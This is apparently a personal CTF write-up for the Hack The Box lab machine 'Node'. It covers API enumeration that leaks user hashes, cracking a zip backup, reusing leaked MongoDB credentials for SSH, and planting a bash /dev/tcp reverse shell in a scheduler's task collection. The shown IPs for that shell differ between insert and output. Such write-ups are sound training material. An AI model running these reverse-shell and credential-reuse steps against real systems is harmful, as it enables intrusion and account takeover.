🟡Node

Recon & Enumeration

ports open

22     -ssh
3000   -ppp

directory scsn

/partials
/uploads
/assets
/vendor

http://10.10.10.58:3000/

Their is login page on the website , neither default creds are working , nor i know the password I tried Nosql injection and failed I intercept the request in burp and get to know the path "/api/session/authentication" I use developer tools to check whether their is any api path is calling by website or not ,and i didn't get any api path , but i found bunch of scripts ".js" loaded by page default After looking a little - their is "home.js" script which contains a path "/api/users/latest" NOTE :- we can also find all these scripts by viewing the page-source

http://10.10.10.58:3000/api/users/latest/

this page contains username , password (hash) , admin role i tried tom & mark user to login and succeeded but no-benefit because they don't have admin privileges , the page says :- "only admin users can access the control pannel" then in url path i removed the "latest" and used "/api/users" to check what this directory contains and i get the 1 another user along with the other 3 users After logging in as admin user , i get download option on webpage for backup file . i downloaded the file "myplace.backup"

myplace.backup

Lets see the file first

file myplace.backup 
myplace.backup: ASCII text, with very long lines, with no line terminators

After reading a little , i gussed its encoded in base64 , lets decode it

cat myplace.backup | base64 --decode > myplace-decoded.backup
&&
file myplace-decoded.backup

myplace-decoded.backup: Zip archive data, at least v1.0 to extract

its a zip file , lets unzip it

unzip myplace-decoded.backup
[myplace-decoded.backup] var/www/myplace/package-lock.json password:

it requires password , i don't have one , lets crack it

fcrackzip -u -D -p ~/chaos/rockyou.txt myplace-decoded.backup

PASSWORD FOUND!!!!: pw == magicword

unzip -P magicword myplace-decoded.backup

and we got a /var directory , after unzip

shell as mark

/var/www/myplace/ directory conatins lot of files and directories as well.

/var/www/myplace/app.js

i got mongodb creds in this file :-

const url= mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler

its mongodb credentials , but worth of trying ssh , as sometimes user uses same password for different service as well username :- mark & password = 5AYRft73VtFpc84k , and i got in

privesc mark => tom

ps auxw

i got 2 process running for user tom

[-] Running processes:
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND

tom       1196  0.0  7.3 1028640 56072 ?       Ssl  03:44   0:06 /usr/bin/node /var/www/myplace/app.js
tom       1199  0.0  5.9 1074616 45264 ?       Ssl  03:44   0:07 /usr/bin/node /var/scheduler/app.js

/var/scheduler/app.js

As i already read the first file , i will this one now , after reading the js code i get to know that :-

• it connects with mongodb using mark credentials

• after connecting it searches the object in the collection - task

• if their is any object present in the collection it executes it using :- exec(doc.cmd);

• before executing it tskes time intervel of 30000 milisecs :- 30 seconds

• after executing the command it delets the object

exploitation

1. connect to db

mongo -u mark -p 5AYRft73VtFpc84k scheduler

MongoDB shell version: 3.2.16
connecting to: scheduler
> 

1. check collection & any object present in collection

> show collections
tasks


> db.tasks.find()                #its empty , as code removes the object after executing it

1. insert/create an object in collection and insert the reverse shell

> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'"})
WriteResult({ "nInserted" : 1 })


> db.tasks.find()
{ "_id" : ObjectId("60b6e61ee6bccdfbc52f13cb"), "cmd" : "bash -c 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1'" }

NOTE :- while creating the json document (object) , the object must be cmd as this is the only parameter that script /var/scheduler/app.js use to execute and value is reverse shell payload

1. setup the listener,after 30 secs we got the reverse shell as tom

privesc tom => root

i skipped this because it include BOF (buffer overflow)